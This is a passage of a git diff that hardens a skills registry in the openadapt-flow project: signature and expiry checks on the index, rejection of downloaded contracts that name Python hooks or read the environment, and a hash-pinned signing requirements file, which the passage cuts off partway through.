with it takes ``replace_contract``, and the lock records that. + The user's file may name Python hooks and read their environment; a + shipped contract may not (:func:`shipped_contract_problems`). """ + import yaml + from openadapt_flow.qualify.campaign import _default_hooks, qualify - from openadapt_flow.qualify.config import load_verify_config + from openadapt_flow.qualify.config import ( + QualifyConfigError, + load_verify_config, + parse_verify_config, + ) bundle_dir = Path(bundle_dir) lock = read_lock(bundle_dir) if lock is None: raise SkillError(f"{bundle_dir} is not a pulled skill (no {LOCK})") - if contract is None and not lock.get("contract"): + if not lock.get("signed_by"): + log( + f"{lock.get('id')} is UNSIGNED: it came from a local index with " + "--allow-unsigned, and nothing vouches for it but that file." + ) + ships = bool(lock.get("contract")) + if contract is None and not ships: raise SkillError( f"{lock.get('id')} ships no record check; pass --verify with your own" ) - missing = [] if contract is not None else missing_bindings(bundle_dir) + if contract is not None and ships and not replace_contract: + raise SkillError( + f"{lock.get('id')} ships its own record check; pass --replace-contract " + "to qualify it with yours instead" + ) + shipped = contract is None + missing = [] if not shipped else missing_bindings(bundle_dir) if missing: raise SkillError( "bind these first: " + ", ".join(missing) + f" (openadapt-flow skill bind {bundle_dir} --set NAME=VALUE)" ) - env = {**os.environ, **read_binding(bundle_dir)} - shipped = contract is None - full_path = fetch_full_contract(bundle_dir, lock, env=env) if shipped else None + binding = read_binding(bundle_dir) + full_path = ( + fetch_full_contract(bundle_dir, lock, env=os.environ, client=http_client) + if shipped + else None + ) if shipped and full_path is None and lock.get("full_contract"): - token_env = lock["full_contract"].get("token_env") or DEFAULT_TOKEN_ENV log( - f"The full record check is in the private tier (set {token_env}); " + f"The full record check is in the private tier (set {TOKEN_ENV}); " "qualifying with the public minimal check." ) - if contract is not None: - contract_path = Path(contract) - elif full_path is not None: - contract_path = full_path + if not shipped: + # The user's own file: their environment, their hooks. + config = load_verify_config(Path(str(contract)), env={**os.environ, **binding}) else: - contract_path = bundle_dir / lock["contract"] - config = load_verify_config(contract_path, env=env) - if shipped and ( - config.app.session is not None - or getattr(config.app.reset, "python", None) - or getattr(config.verifier, "session", None) - ): - raise SkillError( - "a pulled skill's contract may not name Python hooks; it never runs " - "code it downloaded" - ) + contract_path = full_path or bundle_dir / lock["contract"] + try: + data = yaml.safe_load(contract_path.read_text()) + except yaml.YAMLError as exc: + raise SkillError(f"the skill's record check is not YAML: {exc}") from exc + kinds = { + str(v["name"]): str(v["kind"]) + for v in lock.get("contract_vars") or [] + if isinstance(v, dict) and v.get("name") + } + problems = shipped_contract_problems(data, kinds) + if problems: + raise SkillError( + "the skill's record check may not run here (a pulled skill never " + "runs code it downloaded or reads your environment):\n " + + "\n ".join(problems) + ) + try: + # Only the binding: never os.environ. + config = parse_verify_config( + data, base_dir=contract_path.resolve().parent, env=binding + ) + except QualifyConfigError as exc: + raise SkillError(f"the skill's record check is invalid: {exc}") from exc out = Path(out) if out else bundle_dir.parent / f"{bundle_dir.name}-qualification" result = (run or qualify)( bundle_dir, @@ -394,7 +690,10 @@ def qualify_skill( "app_origin": config.app.origin, "contract": "full" if full_path is not None - else ("yours" if contract is not None else "minimal"), + else ("minimal" if shipped else "yours"), + # The user chose their own contract: for a skill that ships none, + # or by --replace-contract. + "contract_opt_in": not shipped, "evidence": str(out), } _write_json(bundle_dir / LOCK, lock) @@ -425,6 +724,7 @@ def cmd_skill(args: Any) -> int: out=args.out, trials=args.trials, contract=args.verify, + replace_contract=args.replace_contract, ) if getattr(result, "certified", False): print(f"Qualified on your instance and certified under {args.certify}.") @@ -440,6 +740,12 @@ def cmd_skill(args: Any) -> int: print( f"{lock['id']}@{lock.get('version')}: " + (refusal or "qualified; runs") ) + signer = lock.get("signed_by") + print( + f"Signed by {signer}" + if signer + else "UNSIGNED: pulled from a local index with --allow-unsigned" + ) missing = missing_bindings(args.bundle) if missing: print("Unbound: " + ", ".join(missing)) @@ -473,6 +779,11 @@ def add_parser(sub: Any) -> None: default=None, help="Your own verify.yaml, for a skill that ships no record check", ) + q.add_argument( + "--replace-contract", + action="store_true", + help="Qualify with --verify even though the skill ships its own record check", + ) s = ssub.add_parser("status", help="Whether the pulled skill may run") s.add_argument("bundle") for parser in (b, q, s): diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index eda686098..68217e2ed 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -13,19 +13,28 @@ openadapt-flow run new-referral --params-file params.json file's sha256 against the index, and loads the bundle so its manifest digest is checked as well. It doesn't run anything. -Each entry is signed (Ed25519ph, the form Rekor accepts) by a key whose -public half ships with the package (`openadapt_flow/registry_keys.json`). -`pull` checks the signature before it downloads anything. Until the registry -key is published the index is unsigned, and `pull` takes an entry only with -`--allow-unsigned`. Entries signed by the public TEST key need -`--allow-test-key`. - -A bundle holds the program and a minimal record check. The full record check -and the fault suites are in a private tier: `skill qualify` fetches the full -check with the token in `OPENADAPT_REGISTRY_TOKEN` when the entry names one, -and otherwise qualifies with the minimal check. A bundle never holds +Before it downloads anything, `pull` checks the index against keys that ship +with the package (`openadapt_flow/registry_keys.json`), never keys it fetches: + +- The index is signed as a whole (Ed25519ph, the form Rekor accepts), and so + is each entry. +- The index carries `issued_at`, `expires_at` and a `serial`. `pull` refuses + an expired index, and one whose serial is lower than the highest it has + seen from that address (kept in `$OPENADAPT_HOME/registry-state.json`). +- A remote index must have a Rekor anchor (`index.anchor.json`) naming its + exact digest, signed by a registry key. +- A remote index is fetched over https only. `--allow-unsigned` takes an + unsigned index from the local disk only, for one you are authoring. + +A bundle holds only allowlisted files: the program, its screen templates +(crops of a copy holding made-up data, which each entry attests) and a minimal +record check. The full record check and the fault suites are in a private +tier. `skill qualify` fetches the full check with the token in +`OPENADAPT_REGISTRY_TOKEN`, from an https host the package names, and +otherwise qualifies with the minimal check. A bundle never holds `verify.full.yaml`, `check_coverage.json` or a fault suite; the index -validator refuses them. +validator refuses them. A release archive also carries a `NOTICE` naming the +app's license. A pulled skill doesn't run until it is qualified on your own instance. `pull` writes `skill.lock.json` beside the bundle and expires any certification it @@ -43,8 +52,21 @@ openadapt-flow skill status new-referral credentials (never the secrets themselves), local paths and local commands. `qualify` runs the qualification cases with the skill's bundled record check (`verify.yaml`) against your instance. A skill that ships no record check -takes your own with `--verify`. A shipped record check may not name Python -hooks, because a pulled skill never runs code it downloaded. See +takes your own with `--verify`; replacing one it ships takes +`--replace-contract` as well. + +A shipped record check never runs code it downloaded and never reads your +environment: + +- it names no Python hooks and no plugin; +- every address, credential name, path and the reset command in it is a + `${VAR}` naming one of the skill's declared variables, so your binding + decides where requests go and what runs; +- `${}` expands only against your binding. + +A qualified skill runs only on the instance it was qualified on: `run` +checks the deployment's app address, and an emitted MCP server checks the URL +it is given. See [`docs/design/SKILLS_REGISTRY.md`](../docs/design/SKILLS_REGISTRY.md). | Workflow | App | Status | @@ -65,11 +87,15 @@ hooks, because a pulled skill never runs code it downloaded. See `.github/workflows/release-registry.yml` publishes the registry: 1. It builds each bundle as a reproducible archive. -2. It signs every entry in the protected `registry-signing` environment. -3. It anchors the signed index in Rekor (`index.anchor.json`). `pull` checks - that anchor whenever it is present. +2. It signs every entry and the index, with a 30-day expiry, in the protected + `registry-signing` environment. That job installs only hash-pinned wheels + ([`signing-requirements.txt`](signing-requirements.txt)). +3. It anchors the signed index in Rekor (`index.anchor.json`). 4. It releases the archives under a `registry-*` tag. -5. It opens a pull request with the signed index. +5. It opens a pull request with the signed index and its anchor. + +The index expires 30 days after it is signed, so the workflow runs at least +that often. After the first signed release, only that workflow writes `index.json`; `build_registry_index.py --check` confirms it still matches `sources.json`. diff --git a/packages/flow/registry/index.json b/packages/flow/registry/index.json index 13035bb03..4809d6320 100644 --- a/packages/flow/registry/index.json +++ b/packages/flow/registry/index.json @@ -3,6 +3,7 @@ "workflows": [ { "app": "OpenEMR 8.0.0.3 (GPL-3.0), local test copy with made-up patients", + "app_license": "GPL-3.0", "certification": null, "evidence": "On 2026-10-11 this bundle ran over 8 made-up referrals on a local OpenEMR test copy. 7 saved and a separate REST and SQL read matched 12 of 12 fields; the duplicate-name case stopped at OpenEMR's duplicate check. Engine certification was off for those runs.", "files": { @@ -68,6 +69,10 @@ "country_code" ], "path": "bundles/openemr/new-referral", + "screens": { + "data": "synthetic", + "source": "benchmark/openemr_local (made-up patients)" + }, "status": "example", "title": "Create the patient chart from a new referral in OpenEMR", "usage": "Start signed in to OpenEMR on Patient > New (/interface/new/new_comprehensive.php) at 1280x800. benchmark/openemr_local in this repository brings up a matching synthetic copy." diff --git a/packages/flow/registry/signing-requirements.txt b/packages/flow/registry/signing-requirements.txt new file mode 100644 index 000000000..7b4f55d0e --- /dev/null +++ b/packages/flow/registry/signing-requirements.txt @@ -0,0 +1,269 @@ +annotated-types==0.7.0 \ + --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ + --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 +cffi==2.0.0 \ + --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ + --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \ + --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \ + --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \ + --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \ + --hash=sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2 \ + --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \ + --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \ + --hash=sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65 \ + --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ + --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \ + --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \ + --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \ + --hash=sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a \ + --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \ + --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \ + --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \ + --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ + --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ + --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ + --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ + --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ + --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ + --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \ + --hash=sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165 \ + --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ + --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \ + --hash=sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c \ + --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \ + --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \ + --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \ + --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \ + --hash=sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63 \ + --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \ + --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \ + --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \ + --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \ + --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ + --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \ + --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \ + --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \ + --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \ + --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \ + --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \ + --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \ + --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \ + --hash=sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322 \ + --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \ + --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \ + --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \ + --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \ + --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \ + --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \ + --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \ + --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \ + --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \ + --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \ + --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \ + --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \ + --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \ + --hash=sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9 \ + --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \ + --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \ + --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \ + --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \ + --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \ + --hash=sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f \ + --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \ + --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \ + --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \ + --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \ + --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \ + --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \ + --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \ + --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \ + --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \ + --hash=sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7 \ + --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \ + --hash=sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534 \ + --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \ + --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \ + --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \ + --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453 \ + --hash=sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf +cryptography==50.0.0 \ + --hash=sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae680232cee62603d1a813f3f07e3d03 \ + --hash=sha256:06a32a980526a6ab9a4b9bf8f7385800791e2bb960903cb6b530e4817509a3b7 \ + --hash=sha256:07479a1cb08219ab719147e742e76090c9c773321959bb94946fffdd397a6437 \ + --hash=sha256:07949c449a1abcf60d1ee6e88956d89404c7df3c8258f46589e912988e551987 \ + --hash=sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16f28323ac6e025 \ + --hash=sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58bf7894aaaa3b2a037 \ + --hash=sha256:12b9c6996425c76ea6c457ace4f3073e715b8c545add07cd1a8f3a4f90691269 \ + --hash=sha256:1489e263a8048bb8b6a8bac662eb2d402ea5d2b7b4699b72f385f1e2772db105 \ + --hash=sha256:19736989797678c6af1e55cd49055cdbcb55d8f6b5583ac5335f933aba9101dc \ + --hash=sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f644fadb2f4b75b95 \ + --hash=sha256:2a8183b489dc1f7f80f135780fadc1108f14b31b8a40411c7a5b17425f65f28b \ + --hash=sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd7642979b58c47 \ + --hash=sha256:3f5735ffe4996d28b809371756219f5354864902a3b9e7c0b9ee87041209fc9c \ + --hash=sha256:49e7d93abdbd2990caced757e5fade25302f719c3c8fb6e6fff2dde98999fc41 \ + --hash=sha256:5e34edd123674534acd70147f0ca331eaa2c74e6325fb2028c886aa26ba0b68c \ + --hash=sha256:62598a8a57f815db4c6259a4e97d857dab56697e7de8e8ab02352ab74da1995d \ + --hash=sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049c498501140b7 \ + --hash=sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf47d0940e871dab1c \ + --hash=sha256:6e7d61120573a7f2cd94cc095f9e81f6967c61ccdf194285aa143ecec8e0b708 \ + --hash=sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dde43b0b4fa40ef \ + --hash=sha256:80b63928fa35083b33966ce1efb70e5b9607181e49dcd1c22c8c005e319f667f \ + --hash=sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01e9f6ee95292c5f \ + --hash=sha256:828743d939e9629bc267b8e2d08d8bb67cd4319c771a33d4b18b22dd8fb7440a \ + --hash=sha256:8d89f3976b10b4ce31118de72329025f70d2c6ead14a8217c5514dd2c6d5a78f \ + --hash=sha256:8eb5e1172eb569ea8a872796576e6a67c276351728b6455d5beb01242b027c6a \ + --hash=sha256:900131fafd8aead39ac7dd3a7e833be754c17a95cfd91221636949fe4eb0aa8a \ + --hash=sha256:910d11e1a385c654bf738bf3e6b8e6ed5de0f5610fcae2be9e5b398d8081d20e \ + --hash=sha256:910e1d2668e7de9648f2bcee30e180db2a6b15c30f887d7c4c93ddf96e3992e3 \ + --hash=sha256:9aa87839c383bdbab6ef865787a1fb877af8dd03464c4400322726feaaadfc6d \ + --hash=sha256:a1b30560f2acc95aa8b2e06e716a13dbfc97314747b80d9707e307f77b40d6b3 \ + --hash=sha256:a91296cb61e8df6f86d0c19cc4068228da256bf59bf86049fbd821084565327f \ + --hash=sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc7a6a19edd9dcae \ + --hash=sha256:bd1c592e4d5974f0d08d4888e432157adba757c66da0246918e43677fafa2d30 \ + --hash=sha256:c87f62a3d3b9888ed0fdde100ec06aa61ca9cd44bad9057d1dff9a516b5f5bb9 \ + --hash=sha256:c99c003e088647b8a5b7c145d6f78c335f6348332b62e142d411c4b63d1460b9 \ + --hash=sha256:ccdc4a71a4dabae05de219404f9f4abc38e3b58422177ff93d0da05967dafa07 \ + --hash=sha256:d24fead1d4d076e1bfb006dcec392074a3cd8d7b4fc8a595aa64073b2b7a96ba \ + --hash=sha256:d58c3db7cd6eed54e6c06744db55456b65ebd7492ddeae9c1e93cfca7aa857d3 \ + --hash=sha256:d764dcf130c428ef66786f866dd750f53182bc608813489915e9fc106bb0c82f \ + --hash=sha256:df2a58a472f332225671c35b0a830208b86d004f82baa8530fa3782c85646533 \ + --hash=sha256:e722f16708d854fe924790e051061f6704a472c3bac347b6fd88033ea8dd0dc5 \ + --hash=sha256:ecfed7367f965a0328cfbdd70da860f15441f002f613185668c6e6ebf5a0ac11 \ + --hash=sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9 \ + --hash=sha256:f59e38625469987d7ef6d495323c55e7db6c212eaf6112267e0d3b565a2e9c9f \ + --hash=sha256:f89831ef99dd7dd169ab06d63a831adb9e20a87aac6d380266bbda5823349169 \ + --hash=sha256:fd9192b7b70c573d7f214eb1ae35e00d359f6f5e4b27c7e21e30de1fc6204645 +pycparser==3.0 \ + --hash=sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29 \ + --hash=sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992 +pydantic==2.12.5 \ + --hash=sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49 \ + --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d +pydantic-core==2.41.5 \ + --hash=sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90 \ + --hash=sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740 \ + --hash=sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504 \ + --hash=sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84 \ + --hash=sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33 \ + --hash=sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c \ + --hash=sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0 \ + --hash=sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e \ + --hash=sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0 \ + --hash=sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a \ + --hash=sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34 \ + --hash=sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2 \ + --hash=sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3 \ + --hash=sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815 \ + --hash=sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14 \ + --hash=sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba \ + --hash=sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375 \ + --hash=sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf \ + --hash=sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963 \ + --hash=sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1 \ + --hash=sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808 \ + --hash=sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553 \ + --hash=sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1 \ + --hash=sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2 \ + --hash=sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5 \ + --hash=sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470 \ + --hash=sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2 \ + --hash=sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b \ + --hash=sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660 \ + --hash=sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c \ + --hash=sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093 \ + --hash=sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5 \ + --hash=sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594 \ + --hash=sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008 \ + --hash=sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a \ + --hash=sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a \ + --hash=sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd \ + --hash=sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284 \ + --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 \ + --hash=sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869 \ + --hash=sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294 \ + --hash=sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f \ + --hash=sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66 \ + --hash=sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51 \ + --hash=sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc \ + --hash=sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97 \ + --hash=sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a \ + --hash=sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d \ + --hash=sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9 \ + --hash=sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c \ + --hash=sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07 \ + --hash=sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36 \ + --hash=sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e \ + --hash=sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05 \ + --hash=sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e \ + --hash=sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941 \ + --hash=sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3 \ + --hash=sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612 \ + --hash=sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3 \ + --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ + --hash=sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe \ + --hash=sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146 \ + 